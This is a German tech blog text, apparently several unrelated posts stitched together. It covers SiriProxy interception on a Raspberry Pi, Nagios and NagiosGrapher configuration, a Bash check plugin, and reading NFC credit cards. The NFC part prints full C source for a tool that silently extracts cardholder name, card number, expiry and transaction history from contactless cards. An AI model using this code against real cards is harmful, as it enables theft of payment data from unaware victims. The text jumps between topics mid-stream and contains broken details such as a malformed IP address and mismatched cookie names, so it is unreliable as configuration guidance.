An alle die jetzt gleich wieder losflamen wollen, wegen Android vs. iOS, hier geht es um Siri und dadurch um iOS und Apple – bei der Anwendung am Schluss auf jeden Fall. Und wer mich jetzt von seinem Android-Phone unbedingt überzeugen will, der soll mit einem 6er Pack Bier vorbei kommen, dann diskutieren wir das gerne von Angesicht zu Angesicht, aber bitte nicht in den Kommentaren! Wer zu weit weg wohnt, um vorbeizukommen, der kann mir das Bier auch schicken und wir machen die Diskussion via Email

Also, wie schon gesagt, geht es um Siri, genauer um den Siri Proxy. Dieser greift den Verkehr zwischen Siri und Apple ab und schaltet sich dazwischen, sodass beliebige Aktionen und Antworten mittels Siri abgefragt werden können – alles was man digital irgendwie ansprechen kann, kann man somit über Sprachsteuerung automatisieren. Coole Vorstellung! Der Nachteil, man muss sich halt im entsprechenden Netzwerk befinden, wie der Proxy, von Unterwegs funktioniert das ganze also nicht (ausser man macht seinen Proxy öffentlich, was ich aber je nach Möglichkeiten und Anwendungsgebiet nicht empfehlen würde…).

Für die Installation braucht man erstmal das Raspbian Image Wheezy von hier, hier oder einer von denen hier – Auswahl gibts genug!

Dies muss man installieren, einrichten und aktualisieren, aber das schafft jeder hoffentlich noch ohne Anleitung, ansonsten kann Google sicher helfen. Danach richtet man sich einen Root-Account ein, unter welchem wir künftig arbeiten und aktualisiert das System:

sudo passwd root
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo reboot

Nach dem Neustart logt man sich dann auch gleich als Root ein und schon kann die eigentliche Schlacht beginnen.
Als erstes brauchen wir ein paar Grundlagen:

apt-get install samba samba-common-bin ssh vim rcs unzip ruby build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion pkg-config gcc g++ dnsmasq libgdbm-dev libffi-dev -y

Weiter geht es mit einer statischen IP, schliesslich wollen wir die Einstellungen auf unserem iPhone ja nicht jeden Tag der DHCP-Adresse des Proxys anpassen. Dazu passen wir die Datei /etc/network/interfaces an:

auto eth0
iface eth0 inet static

address 192.168.1.200
netmask 255.255.255.0
broadcast 192.168.1.255
network 192.168.1.0
gateway 192.168.1.1

Nun das Netzwerk-Interface neustarten:

ifdown eth0
ifup eth0

Nun empfiehlt es sich, öffentliche DNS-Server noch einzutragen, da man sonst keine URLs mehr auflösen kann. Also ergänzt man die Datei /etc/resolv.conf um folgende Einträge:

nameserver 8.8.8.8
nameserver 8.8.4.4

Hier kann man natürlich auch die DNS des eigenen ISPs eintragen, oder was man sonst so mag.
Weiter geht es mit dem eigenen DNS. Der Proxy soll ja die Anfragen vom iPhone abfangen, weshalb man noch einen DNS Server braucht. Auch hier braucht es noch etwas Anpassung in der Konfiguration unter /etc/dnsmasq.conf:

#address=double-click.net/127.0.0.1
# iOS production Siri server
address=/guzzoni.apple.com/192.168.1.200
# iOS beta Siri server
address=/kryten.apple.com/192.168.69.1.200

Danach noch neustarten und schon ist DNS auch Geschichte:

/etc/init.d/dnsmasq restart

Nun folgt das Installieren von RVM:

bash < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
[[ -s "/etc/profile.d/rvm.sh" ]] && . "/etc/profile.d/rvm.sh"
echo '[[ -s "/etc/profile.d/rvm.sh" ]] && . "/etc/profile.d/rvm.sh" # Load RVM function' >> ~/.bash_profile
rvm autolibs enable
rvm install 1.9.3

Nun folgt die eigentliche Konfiguration:

git clone git://github.com/plamoni/SiriProxy.git
cd SiriProxy
mkdir ~/.siriproxy
cp ./config.example.yml ~/.siriproxy/config.yml
rake install

Noch die passenden Zertifikate:

siriproxy gencerts

Nun gibt es ein Zertifikat unter dem Namen ca.pem. Dieses muss man wegkopieren (SCP) und auf das iPhone mailen und da installieren – keine grosse Sache.
Noch die finale Installation und den Dienst starten:

siriproxy bundle
bundle install
siriproxy server

Danach muss man nur noch auf dem iPhone den DNS Eintrag auf die IP des Siri Proxys abändern und schon ist es vollbracht.
Wenn alles klappt, sollte man auf die Frage “test siri proxy” eine Antwort bekommen.

su -l nagios

Nun muss man sich von Altlasten entledigen:

rm /usr/local/nagios/share/{main,side,index}.html

Und die neuste Version herunterladen und entpacken:

wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.4.4.tar.gz
tar xzf nagios-3.4.4.tar.gz
cd nagios

Nun noch konfigurieren, compilieren und installieren:

./configure --with-command-group=nagcmd
make all
make install
/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
/etc/init.d/nagios restart

Und schon ist die Hexerei vorbei:

Entweder man macht daraus 2 neue Gruppen. Dummerweise kreiert man so ziemlich schnell sehr viele neue Gruppen und am Schluss ist praktisch jeder Server in einer eigenen Gruppe und es wird wiederum alles unübersichtlich und unnötig kompliziert.
Oder man lässt beim entsprechenden Service die Gruppen weg und erwähnt jeden Host einzeln, auf welchen man das ganze anwenden will. Auch das ist theoretisch möglich, doch auch nicht sehr praktisch, da man so beim erweitern alle Services durchgehen muss und überall noch den neuen Host anhängen.

Also braucht man eine Art Ausnahmen – Und die gibt es auch.
Einfach ein ! (NOT) vor den Hostnamen setzen und schon wird dieser aus der Hostgroup ausgeschlossen. Anstelle von:

host_name  server005, server007, server008, server010, server001, server012, server015, server016

Schreibt man einfach:

hostgroup_name   customer-servers
host_name        !server004

In Nagios selbst sieht die Konfiguration dann so aus:

define service{
        use                     generic-service
        hostgroup_name          customer-servers
        host_name               !server004
        service_description     Webfrontend
        action_url              http://$HOSTALIAS$/page/
        check_command           check_http!-H $HOSTALIAS$ -u "/page/" -s "Username" -f follow -w 5
}

Hätte ich das nur von Anfang an gewusst…

Und da beschweren sich alle immer, beim iPhone könne man den Akku nicht herausnehmen

Doch wie sieht das Plugin nun aus?`

Von Aussen soll dem Plugin ein Cookie, eine URL und die Zeitgrenzen für eine Warnung und einen Error zum abfragen übergeben werden. Wer Scripten kann weiss natürlich das dazu die Variablen $1 – $4 genutzt werden. So kommen wir mal zu einer kleinen Überprüfung und der Übergabe an CURL:

if [ $# -lt 4 ]; then
        echo "Please use check_site COOKIE URL WARNING ERROR"
        exit 2
fi

warning=$(($3*1000))
error=$(($4*1000))

curl --cookie "ATUH=$1" "$2" -s > /tmp/store.tmp

Doch jetzt soll ja auch noch die Zeit gemessen werden. Also speichern wir vor und nach dem Abrufen der Seite jeweils einen Timestamp:

first=`echo $(($(date +%s%N)/1000000))`
warning=$(($3*1000))
error=$(($4*1000))

curl --cookie ".AUTH=$1" "$2" -s > /tmp/store.tmp

last=`echo $(($(date +%s%N)/1000000))`
need=$(($last-$first))

Und damit hat man schon fast die ganze Arbeit gemacht. Nun noch ein bisschen querchecken und die passenden Ergebnisse ausgeben:

if [ $need -gt $error  ]; then
        echo "needed `bc -l <<< "scale=3; $need/1000"` seconds for a response"
        exit 2
fi

if [ $need -gt $warning  ]; then
        echo "needed `bc -l <<< "scale=3; $need/1000"` seconds for a response"
        exit 1
fi

echo "needed `bc -l <<< "scale=3; $need/1000"` seconds for a response"
exit 0

Wer auch weiss, was im Report drin sein sollte und das auf ein bestimmtes Keyword prüfen möchte, um sicher zu gehen, der kann noch folgendes Schnipsel einfügen, natürlich vor allen anderen Überprüfungen:

if [ `cat /tmp/$id |grep KEYWORD |wc -l` -lt 1  ]; then
        echo "Unknown Error"
        exit 2
fi

Nun wenn man das Plugin im Ordner libexec abgelegt und ausführbar gemacht hat, kann man einen Eintrag in der Datei commands.cfg anlegen:

#check response time for a response report
define command {
        command_name check_site
        command_line $USER1$/check_site $ARG1$
}

Und als letzer Schritt, ganz wie man es bereits kennt, die Einträge in der hosts.cfg anlegen.

Die Installation unter Ubuntu war alles andere als einfach! Begonnen hat alles mit der Installation von libnfc in der Version 1.6.0 R1, welches irgendwie einfach nicht so wollte wie ich. Eigentlich gibt es ja eine schöne Anleitung was man tun muss, doch leider reichen die darin beschriebenen 5 Schritte bei weitem nicht aus.
Zuerst muss man mal die passenden Vorbedingungen schaffen:

sudo apt-get install libusb-dev libpcsclite-dev
sudo apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd

Weiter geht’s dann, indem man sich die Source von libnfc von Sourceforge herunterlädt:

wget https://libnfc.googlecode.com/files/libnfc-1.6.0-rc1.tar.gz
tar -xvzf libnfc-*

Und aus dem ganzen ein Debian-Paket macht:

cd libnfc-1.6.0-rc1
svn checkout http://libnfc.googlecode.com/svn/tags/libnfc-1.6.0-rc1/debian
dpkg-buildpackage -b -us -uc

Und hier kamen auch bereits die ersten Probleme. Wie es aussieht, braucht meine frische Ubuntu-Installation noch mehr Vorbereitung:

sudo apt-get install dh-autoreconf libtool 

Nun dpkg-buildpackage nochmals starten und schon kommt man ein Stück weiter, zum nächsten Error. Leider sagt dieser nicht wirklich viel aus, doch lässt sich denkbar einfach lösen, wenn man denn weiss wie. Einfach dpkg-buildpackage gleich nocheinmal starten und diesmal läuft alles fehlerfrei durch. Juhee!
Nun können die erstellten Pakete auch sogleich installiert werden:

sudo dpkg -i ../libnfc*.deb

Damit ist die Installation abgeschlossen und der Dongle kann mit nfc-list getestet werden – dachte ich! Doch interessanterweise erhalte ich immer die Fehlermeldung, dass mein NFC Leser nicht erkannt werden konnte:

No NFC device found.

Und das obwohl der Dongle problemlos erkannt wird:

Bus 002 Device 005: ID 04e6:5591 SCM Microsystems, Inc.

Nach ein fast einer Nacht der Suche lag das Problem auf der Hand: Der Dongle sollte eigentlich direkt von libusb angesprochen werden können, aber wie es scheint, eilt PC/SC dem jeweils zuvor und blockiert den Zugriff somit. Bestätigt hat das auch ein Blick in lsmod, welcher die Module pn533 und nfc als geladen aufwies. Also habe ich zuerst versucht, mich irgendwie PC/SC zu entledigen, doch scheinbar wollte es nicht ausreichen, nur den Deamon zu stoppen, denn nfc-list aktiviert diesen jedesmal wieder:

/etc/init.d/pcscd stop

Also musste ich mit härteren Mittel ans Werk. Zuerst werden in der Datei /etc/modprobe.d/blacklist-libnfc.conf die Module nfc und pn533 blockiert:

blacklist pn533
blacklist nfc

Danach muss der Dongle nur noch ausgesteckt und die Module entladen werden:

sudo modprobe -r pn533 nfc

Schon kann man wieder einstecken und siehe da, nfc-list erkennt mein Dongle plötzlich problemlos:

trace	libnfc.general	"SCM Micro / SCL3711-NFC&RW - PN533 v2.7 (0x07)" (pn53x_usb:002:006) has been claimed.

Damit ist der Leser mal soweit einsatzbereit und ansprechbar!

Also kommt der nächste Schritt, denn irgendwie muss der Output des Lesers ja in les- und verwertbare Daten umgewandelt werden. Dazu hat sich ein Franzose bereits die Mühe gemacht und seine Lösung an der Shakacon IT Conference vorgestellt:

Also habe ich doch gleich mal sein Script ausprobiert, doch leider ohne Erfolg, da sich seit der Erstellung zur Zeit von libnfc 1.4 und heute mit libnfc 1.6 bereits einiges grundlegend geändert hat. Doch auf der Googlecode-Seite gab es bereis der eine oder andere Patch für das Script, welche nur noch integriert werden mussten, wodurch am Schluss folgendes Script zum Vorschein kommt:

/*

readnfccc - by Renaud Lifchitz (renaud.lifchitz@bt.com)
License: distributed under GPL version 3 (http://www.gnu.org/licenses/gpl.html)

* Introduction:
"Quick and dirty" proof-of-concept
Open source tool developped and showed for Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit  "
Reads NFC credit card personal data (gender, first name, last name, PAN, expiration date, transaction history...) 

* Requirements:
libnfc (>= 1.4.2) and a suitable NFC reader (http://www.libnfc.org/documentation/hardware/compatibility)

* Compilation: 
$ gcc readnfccc.c -lnfc -o readnfccc

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <nfc/nfc.h>

// Choose whether to mask the PAN or not
#define MASKED 0

#define MAX_FRAME_LEN 300
 
void show(size_t recvlg, uint8_t *recv) {
 	int i;
 	printf("< ");
 	for(i=0;i<(int) recvlg;i++) {
			printf("%02x ",(unsigned int) recv[i]);
        }
        printf("\n");
}

int main(int argc, char **argv) {
 	nfc_device* pnd;
 
	uint8_t abtRx[MAX_FRAME_LEN];
	uint8_t abtTx[MAX_FRAME_LEN];
 	size_t szRx = sizeof(abtRx);
 	size_t szTx;

	uint8_t START_14443A[] = {0x4A, 0x01, 0x00};
	uint8_t SELECT_APP[] = {0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x42,0x10,0x10,0x00};
	uint8_t READ_RECORD_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x02, 0x0C, 0x00, 0x00};
	uint8_t READ_RECORD_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x14, 0x00, 0x00};
	uint8_t READ_PAYLOG_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x8C, 0x00, 0x00};
	uint8_t READ_PAYLOG_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x5C, 0x00, 0x00};
 
 	unsigned char *res, output[50], c, amount[10],msg[100];
 	unsigned int i, j, expiry;
        nfc_init(NULL);
		
		pnd = nfc_open(NULL, NULL);
        if (pnd == NULL) {
                printf("Unable to connect to NFC device.\n");
                return(1);
        }
        printf("Connected to NFC reader: %s\n", nfc_device_get_name(pnd));
        nfc_initiator_init(pnd);

        while(1) {

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, START_14443A, sizeof(START_14443A), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "START_14443A");
                                return(1);
                }
                //show(szRx, abtRx);

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, SELECT_APP, sizeof(SELECT_APP), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "SELECT_APP");
                                return(1);
                }
                //show(szRx, abtRx);

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, READ_RECORD_VISA, sizeof(READ_RECORD_VISA), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "READ_RECORD");
                                return(1);
                }
                //show(szRx, abtRx);

                /* Look for cardholder name */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x5f&&*(res+1)==0x20) {
                                        strncpy(output, res+3, (int) *(res+2));
                                        output[(int) *(res+2)]=0;
                                        printf("Cardholder name: %s\n",output);
                                        break;                  
                                }
                                res++;
                }

                /* Look for PAN & Expiry date */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x4d&&*(res+1)==0x57) {
                                        strncpy(output, res+3, 13);
                                        output[11]=0;
                                        printf("PAN:");
                                        
                                        for(j=0;j<8;j++) {
                                                if(j%2==0) printf(" ");
                                                c=output[j];
                                                if(MASKED & (j>=2) & (j<=5)) {
                                                        printf("**");
                                                }
                                                else {
                                                        printf("%02x",c&0xff);
                                                }
                                        }
                                        printf("\n");
                                        expiry = (output[10]+(output[9]<<8)+(output[8]<<16))>>4;
                                        printf("Expiration date: %02x/20%02x\n\n",(expiry&0xff),((expiry>>8)&0xff));
                                        break;                  
                                }
                                res++;
                }

                szRx = sizeof(abtRx);
                if (!pn53x_transceive(pnd, READ_RECORD_MC, sizeof(READ_RECORD_MC), abtRx, &szRx, NULL)) {
                                nfc_perror(pnd, "READ_RECORD");
                                return(1);
                }
                //show(szRx, abtRx);

                /* Look for cardholder name */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x5f&&*(res+1)==0x20) {
                                        strncpy(output, res+3, (int) *(res+2));
                                        output[(int) *(res+2)]=0;
                                        printf("Cardholder name: %s\n",output);
                                        break;                  
                                }
                                res++;
                }

                /* Look for PAN & Expiry date */
                res = abtRx;
                for(i=0;i<(unsigned int) szRx-1;i++) {
                                if(*res==0x9c&&*(res+1)==0x57) {
                                        strncpy(output, res+3, 13);
                                        output[11]=0;
                                        printf("PAN:");
                                        
                                        for(j=0;j<8;j++) {
                                                if(j%2==0) printf(" ");
                                                c=output[j];
                                                if(MASKED & (j>=2) & (j<=5)) {
                                                        printf("**");
                                                }
                                                else {
                                                        printf("%02x",c&0xff);
                                                }
                                        }
                                        printf("\n");
                                        expiry = (output[10]+(output[9]<<8)+(output[8]<<16))>>4;
                                        printf("Expiration date: %02x/20%02x\n\n",(expiry&0xff),((expiry>>8)&0xff));
                                        break;                  
                                }
                                res++;
                }


                for(i=1;i<=20;i++) {
                        READ_PAYLOG_VISA[4] = i;
                        szRx = sizeof(abtRx);
                        if (!pn53x_transceive(pnd, READ_PAYLOG_VISA, sizeof(READ_PAYLOG_VISA), abtRx, &szRx, NULL)) {
                                        nfc_perror(pnd, "READ_RECORD");
                                        return(1);
                        }
                        if(szRx==18) { // Non-empty transaction
                                //show(szRx, abtRx);
                                res = abtRx;

                                /* Look for date */
                                sprintf(msg,"%02x/%02x/20%02x",res[14],res[13],res[12]);

                                /* Look for transaction type */
                                if(res[15]==0) {
                                        sprintf(msg,"%s %s",msg,"Payment");
                                }
                                else if(res[15]==1) {
                                        sprintf(msg,"%s %s",msg,"Withdrawal");
                                }
                                
                                /* Look for amount*/
                                sprintf(amount,"%02x%02x%02x",res[3],res[4],res[5]);
                                sprintf(msg,"%s\t%d,%02xÄ",msg,atoi(amount),res[6]);

                                printf("%s\n",msg);
                        }
                }

                for(i=1;i<=20;i++) {
                        READ_PAYLOG_MC[4] = i;
                        szRx = sizeof(abtRx);
                        if (!pn53x_transceive(pnd, READ_PAYLOG_MC, sizeof(READ_PAYLOG_MC), abtRx, &szRx, NULL)) {
                                        nfc_perror(pnd, "READ_RECORD");
                                        return(1);
                        }
                        if(szRx==18) { // Non-empty transaction
                                //show(szRx, abtRx);
                                res = abtRx;

                                /* Look for date */
                                sprintf(msg,"%02x/%02x/20%02x",res[14],res[13],res[12]);

                                /* Look for transaction type */
                                if(res[15]==0) {
                                        sprintf(msg,"%s %s",msg,"Payment");
                                }
                                else if(res[15]==1) {
                                        sprintf(msg,"%s %s",msg,"Withdrawal");
                                }
                                
                                /* Look for amount*/
                                sprintf(amount,"%02x%02x%02x",res[3],res[4],res[5]);
                                sprintf(msg,"%s\t%d,%02xÄ",msg,atoi(amount),res[6]);

                                printf("%s\n",msg);
                        }
                }               

                printf("-------------------------\n");
        }

        nfc_close(pnd);        
		nfc_exit(NULL);

        return(0);
}

Das ganze muss nur noch kompiliert werden:

gcc readnfccc.c -lnfc -o readnfccc

Und kann auch sogleich verwendet werden… Erschreckend, dass es so einfach sein kann, um beliebige Kreditkartendaten auszulesen, ohne dass das Opfer etwas davon merkt. Und wer ein Smartphone mit NFC besitzt, der kann das ganze sogar ohne weitere Aufwände (siehe ab Minute 07:00):

Doch wahrscheinlich muss das Thema erst mal in der breiten Öffentlichkeit breitgetreten werden, bis Visa, Mastercard und Co die Kreditkartendaten endlich verschlüsselt auf der Karte ablegen! Happy Hacking!

Was aber sehr komplex und kompliziert aussieht, ist ziemlich einfach, da es sich ja nur um ein Zusammenfassen von bereits bestehenden Graphen handelt. Dafür wird eine neue Datei multigraph.ncfg im Konfigurationsverzeichnis unter /usr/local/nagios/etc/ngraph.d angelegt. Der Inhalt variiert, je nachdem, was du zusammenfassen möchtest. Für das Beispiel mit dem Ping muss folgendes rein:

define nmgraph{
       host_name                Multigraphen
       service_name             All Ping RTA
       hosts                    .*
       services                 PING
       graph_values             RTA
       graph_type               LINE1
       order                    reverse
       colors                   FF0000, FF009A, 9100FF, 0D00FF, 009EFF, 00DEFF, 00FF8D, 429700, FFFF00, FFB300, FF8400, FFABAB, 970000, 000000, 777777
}

Als host_name gibt man hier den Namen an, unter welchem der Multigraph dann auftauchen soll. Dies könnte genausogut einfach “name” heissen, da es nichts mit einem Host-Namen zu tun hat und beliebig gewählt werden kann. Der “service_name” ist der Name des Graphen und “hosts” ist ein Regex für alle Hosts, welche in den Multigraphen einbezogen werden sollen, in meinem Fall also alle. Unter “services” kommt der Name der Services, welche man zusammenfassen will und unter “graph_values” die graph values der entsprechenden Services. Der Rest ist nur noch Aussehen und Farbe, ganz wie man es gerne hat. Ihr seht also, keine Hexerei und wenn man die Werte sinnvoll auswählt, so kann man auch bei sehr vielen Servern noch sinnvolle Informationen auslesen, da man auf einen Blick Querschläger im Auge hat:

define service{
        use                     generic-service
        hostgroup_name          windows-servers
        service_description     RX
        check_command           check_nt!COUNTER!-l "\\Network Interface(Intel[R] PRO_1000 MT Network Connection)\\Bytes Received/sec","Received Bytes/sec %0.2f"
        }

define service{
        use                     generic-service
        hostgroup_name          windows-servers
        service_description     TX
        check_command           check_nt!COUNTER!-l "\\Network Interface(Intel[R] PRO_1000 MT Network Connection)\\Bytes Sent/sec","Sent Bytes/sec %0.2f"
        }

Dabei greife ich auf Counters in Windows zurück und erhalte die Werte für die empfangenen (RX) und versandten (TX) Pakete in Bytes pro Sekunde.

Auch für Nagiosgrapher ist das ganze alles andere als wild:

# nt-traffic-recv
define ngraph{
        service_name            RX
        graph_perf_regex        ([0-9.]+)%
        graph_value             traffic_received
        graph_units             Bytes/s
        graph_legend            RX Traffic
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            RX
        type                    VDEF
        graph_value             vdef_traffic_received
        graph_units
        graph_legend            Durchschnitt
        graph_calc              traffic_received,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}

# nt-traffic-sent
define ngraph{
        service_name            TX
        graph_perf_regex        ([0-9.]+)%
        graph_value             traffic_sent
        graph_units             Bytes/s
        graph_legend            TX Traffic

        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            TX
        type                    VDEF
        graph_value             vdef_traffic_sent
        graph_units
        graph_legend            Durchschnitt
        graph_calc              traffic_sent,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}

Nun noch das normale Neustarten:

/etc/init.d/nagiosgrapher restart
/etc/init.d/nagios restart

Und das Ergebnis kann sich sehen lassen:

• Auslastung der CPU (5 Min. Durchschnitt)
• Auslastung vom Drive C:
• Auslastung vom Drive D:
• Auslastung vom RAM

Zusätzlich noch folgende Werte von eigenen Scripts:

• Auslastung vom ESX Datastore

Damit mein Script auch bei euch funktioniert, müsst ihr natürlich die selben Check-Scripts verwenden, wie ich. Entweder habe ich dazu aber einen Standard verwendet, wie check_nt von NSClient oder ihr findet das Script irgendwo in meinem Blog. Einfach mal die Suchfunktion ein bisschen bemühen

Meine Konfiguration für NagiosGrapher sieht wie folgt aus:

# ---
# NagiosGrapher Template for MS-Windows-related checks
# Modified by compr00t
# ---

# CPU load
define ngraph{
        service_name            CPU
        graph_log_regex         ([0-9]+)%
        graph_value             cpu_load
        graph_units             Prozent
        graph_legend            5 Min Durchschnitt
        graph_upper_limit       100
        graph_lower_limit       0
        rrd_plottype            AREA
        rrd_color               00a000
}

define ngraph{
        service_name            CPU
        type                    VDEF
        graph_value             vdef_cpu_average
        graph_units
        graph_legend            Durchschnitt
        graph_calc              cpu_load,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}


# nt-disk
define ngraph{
        service_name            C-Drive
        graph_log_regex         (\d+)%\)\s+-
        graph_value             c_drive
        graph_units             Prozent
        graph_legend            benutzer Speicher
        graph_upper_limit       100
        graph_lower_limit       0
        page                    1 Auslastung
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            D-Drive
        graph_log_regex         (\d+)%\)\s+-
        graph_value             d_drive
        graph_units             Prozent
        graph_legend            benutzer Speicher
        graph_upper_limit       100
        graph_lower_limit       0
        page                    1 Auslastung
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            C-Drive
        graph_log_regex         (\d+)\.(\d+)\sGb\s-
        graph_value             c_drivefix
        graph_units             GB
        graph_legend            Speicher
        page                    2 Speicher
        rrd_plottype            AREA
        rrd_color               c0c0ff
}

define ngraph{
        service_name            D-Drive
        graph_log_regex         (\d+)\.(\d+)\sGb\s-
        graph_value             d_drivefix
        graph_units             GB
        graph_legend            Speicher
        page                    2 Speicher
        rrd_plottype            AREA
        rrd_color               c0c0ff
}

define ngraph{
        service_name            Datastore
        graph_log_regex         ([0-9]*)\.([0-9]*)%
        graph_value             esx_datastore
        graph_units             Prozent
        graph_legend            freier Speicher
        graph_upper_limit       100
        graph_lower_limit       0
        rrd_plottype            AREA
        rrd_color               ff0000
}

# nt-memory
define ngraph{
        service_name            Memory
        graph_log_regex         (\d+)%\) -
        graph_value             memory
        graph_units             Prozent
        graph_legend            genutzes RAM
        graph_upper_limit       100
        graph_lower_limit       0
        rrd_plottype            AREA
        rrd_color               ff0000
}

define ngraph{
        service_name            Memory
        type                    VDEF
        graph_value             vdef_memory_average
        graph_units
        graph_legend            Durchschnitt
        graph_calc              memory,AVERAGE
        graph_legend_eol        LEFT
        rrd_plottype            LINE1
        rrd_color               0000ff
        hide                    no
}

# [EOF]

Diese Datei muss einfach unter /usr/local/nagios/etc/ngraph.d/ abgelegt werden und die Endung .ncfg besitzen. Bedenkt aber, es dauert ein bisschen, bis die Einträge und überhaupt auch Werte in der Grafik auftauchen. Einfach den NagiosGrapher neustarten und nach einer Zeit mal Nagios reloaden:

/etc/init.d/nagios_grapher restart
/etc/init.d/nagios reload

Die restlichen Graphen basieren alle auf eigenen Check-Skripten. Aber mit ein bisschen Grundwissen in RegEx ist es keine Hexerei mehr, selbst etwas zu zaubern

Nagiosgrapher integriert das zum Erstellen von Graphen geeignete RRDtool direkt in Nagios und hängt die Graphen mehr oder weniger automatisiert an jeden Service. Es muss also nicht für jeden Service von jedem Host ein eigener Graph erstellt werden, sondern via RegEx können gleich alle Dienste mit dem selben Namen abgearbeitet werden. Leider wird das Projekt nicht mehr allzu stark weiterentwickelt, doch funktioniert es immer noch sauber und problemlos. Wer lieber etwas topaktuelles will, der greift auf Nagiosgraph zurück, wozu es auch bereits zig Anleitungen im Netz gibt. Selbst habe ich erst beim Schreiben dieses Artikels bemerkt, dass es einen Unterschied zwischen Nagiosgraph und NagiosGrapher gibt und auch erst da ist mir aufgefallen, wie alt NagiosGrapher eigentlich ist. Ich weiss, Schande auf mein Haupt, doch da ich bereits sehr viel Arbeit investiert hatte und alles stabil, sauber und einfach läuft, geht es auch weiter mit NagiosGrapher.
Dies Installation ist nicht wirklich schwierig, das Tool ist praktisch ein Selbstläufer. Beginnen muss man mit ein paar Vorbedingungen:

apt-get install autoconf rrdtool perl perl-base perl-modules libcalendar-simple-perl libgd-gd2-perl perlmagick librrds-perl liburi-perl

Nun kann die aktuelle Version von hier geladen werden:

cd /tmp
wget "http://downloads.sourceforge.net/project/nagiosgrapher/nagiosgrapher/NagiosGrapher-1.7.1/NagiosGrapher-1.7.1.tar.gz"
tar xzvf NagiosGrapher-1.7.1.tar.gz
cd NagiosGrapher*

Ab hier ist es vielleicht nützlich ein Backup zu haben, es kann ja immer etwas schief gehen! Ansonsten weiter im Kontext. Wer Nagios unter /usr/local/nagios installiert hat (so wie es sein sollte ) der hat hier Glück:

autoconf
./configure
make testdeps
make install

Wer Nagios an einem anderen Ort installiert hat, der muss kurz in die Dokumentation schauen, um den passenden Weg zu finden.

Nachdem nun NagiosGrapher installiert ist, geht es an die Anpassungen in der Konfiguration. In der Datei nagios.cfg müssen folgende Einträge ergänzt oder geändert werden:

cfg_dir=/usr/local/nagios/etc/serviceext
process_performance_data=1
service_perfdata_file=/usr/local/nagios/var/service-perfdata
service_perfdata_file_template=$HOSTNAME$\t$SERVICEDESC$\t$SERVICEOUTPUT$\t$SERVICEPERFDATA$\t$TIMET$
service_perfdata_file_mode=a
service_perfdata_file_processing_interval=30
service_perfdata_file_processing_command=process-service-perfdata-file

Auch ein Kommando in der commands.cfg muss eingetragen werden:

define command{
	command_name process-service-perfdata-file
	command_line mv /usr/local/nagios/var/service-perfdata /usr/local/nagios/var/service-perfdata.$TIMET$
}

Damit ist die Installation auch schon beendet, und es können die ersten Graphen erzeugt werden. Dazu sind im Folder /usr/local/nagios/etc/ngraph.d bereits einige Templates vorhanden, welche übernommen oder abgeändert werden können. Einfach kopieren und gut ist. Meine Konfiguration werde ich demnächst auch hier veröffentlichen, so stay tuned